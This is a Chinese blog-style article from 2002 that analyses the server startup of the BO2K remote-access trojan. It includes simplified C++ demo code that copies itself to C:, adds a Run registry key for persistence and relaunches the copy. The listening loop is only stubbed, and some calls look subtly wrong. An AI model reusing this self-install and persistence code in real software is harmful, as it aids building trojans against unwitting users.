• 首页
  • 小学语文
  • 中学语文
  • 中学英语
  • 免费论文
  • 教学随笔
  • 学生作文
  • 综合考试
  • 试题教案
  • 育儿话题
  • 教学资源
  • 编程技术
  • 博客
  • BO2k源代码分析(一)----WinMain()函数

    日期:2002-08-05  地址:  作者:

     

     

    花了些时间分析BO2K,现将结果依次发表出来.接着还将发表BO消息循环机制,网络原理,自编LoadLibrary()的实现,Plug In原理,关键命令的实现原理等. 愿对诸君C++编程和Windows编程有所益.

     一 BO2K服务器原理概述
         BO2K服务器程序首先判断是否已经安装了BO2K,如果已经安装,则简单的启动服务器,侦听端口。如果没有安装则拷贝自身到系统目录下,并且注册BO2K为每当系统启动时启动BO2K。而后以自身的全路径名为参数启动拷贝版的BO2K,自身结束。这里,我们看到了应用程序删除自身之一法. 这是服务器的WinMain()函数的主要工作,详见BODEMO。当然,由于考虑到出错处理,以及允许用户配置,其源代码比BODEMO要复杂,且有所出入。但大体原理如此
      上述过程之后,接着初始化命令数组,建立侦听端口,进入命令循环。(这些都是Entrypoint()函数的工作)。

      下期我将再来分析这个函数。
     
    附BODEMO:
     
    #include "stdafx.h"
    BOOL g_bIsWinNT;
    /* Determine Operating System Version*/
    void GetOSVersion(void)
    {
         OSVERSIONINFO osvi;
         osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
         if(GetVersionEx(&osvi)==FALSE)

         {
                MessageBox( HWND_DESKTOP, "Unable to get version     info", "GetOSVersion()", MB_OK );
         }
        if(osvi.dwPlatformId==VER_PLATFORM_WIN32s)

        {
                MessageBox( HWND_DESKTOP, "This application does  not run under WIN32s!", "Error", MB_OK );
        }
         if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
                 g_bIsWinNT = 1;
        else
                 g_bIsWinNT = 0;
    }
    DWORD WINAPI EntryPoint(LPVOID lpParameter)
    {

    /*这 个函数中初始化命令数组,建立侦听端口,进入命令循环。
    这里先简单模拟一下,下期再详细分析。*/

          while(1);             
           return 0;
    }
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow )
    {
           GetOSVersion(); 
           int nInstall=0;
           char *svRunRegKey;
          if(g_bIsWinNT)     svRunRegKey="SOFTWARE/Microsoft/Windows/CurrentVersion/Run";
          else
      svRunRegKey="Software/Microsoft/Windows/CurrentVersion/RunServices";
      

       /*如果带参数则删除参数指定的文件,这一段代码从略*/

       // Get current module location
        char svFileName[512];
        char svTargetName[MAX_PATH];
        GetModuleFileName(GetModuleHandle(NULL),svFileName,512); 
     lstrcpy(svTargetName,"C:/Bodemo.exe");

     /*  简单的将自身拷贝到C:下
         BO2K中,被拷贝到系统目录中,
        且名字是可配置的。

    */
     // ----- 1: Check for installation ----- 
        if(GetFileAttributes(svTargetName) != 0xFFFFFFFF)  

    /*是否已安装BO2K*/
            nInstall=1;
     if(nInstall == 0)                   /*没安装则…*/ 
     {
      // Make copy of file
      while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep (1000);
         

     HKEY key;
      if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS)
      {
       RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName));
       RegCloseKey(key);  
      }
      // And now run the copy,
      STARTUPINFO si;
      PROCESS_INFORMATION pi;
      char svComLine[2048];
      lstrcpy(svComLine,svTargetName,2048);

      lstrcpyn(svComLine+lstrlen(svComLine)," ",

     2048-lstrlen  (svComLine));

      lstrcpyn(svComLine+lstrlen(svComLine),svFileName,

        2048-lstrlen(svComLine));

      memset(&si,0,sizeof(STARTUPINFO));
      si.cb=sizeof(STARTUPINFO);
      si.dwFlags=STARTF_FORCEOFFFEEDBACK;
      CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);
     }
     else     /*Bo has installed...*/
     {

            EntryPoint(GetModuleHandle(NULL));
     }
     return 0;
    }

    对 BO2k源代码分析(一)----WinMain()函数 文章的评论    [查看网友评论]

    验证码:
    匿名发表: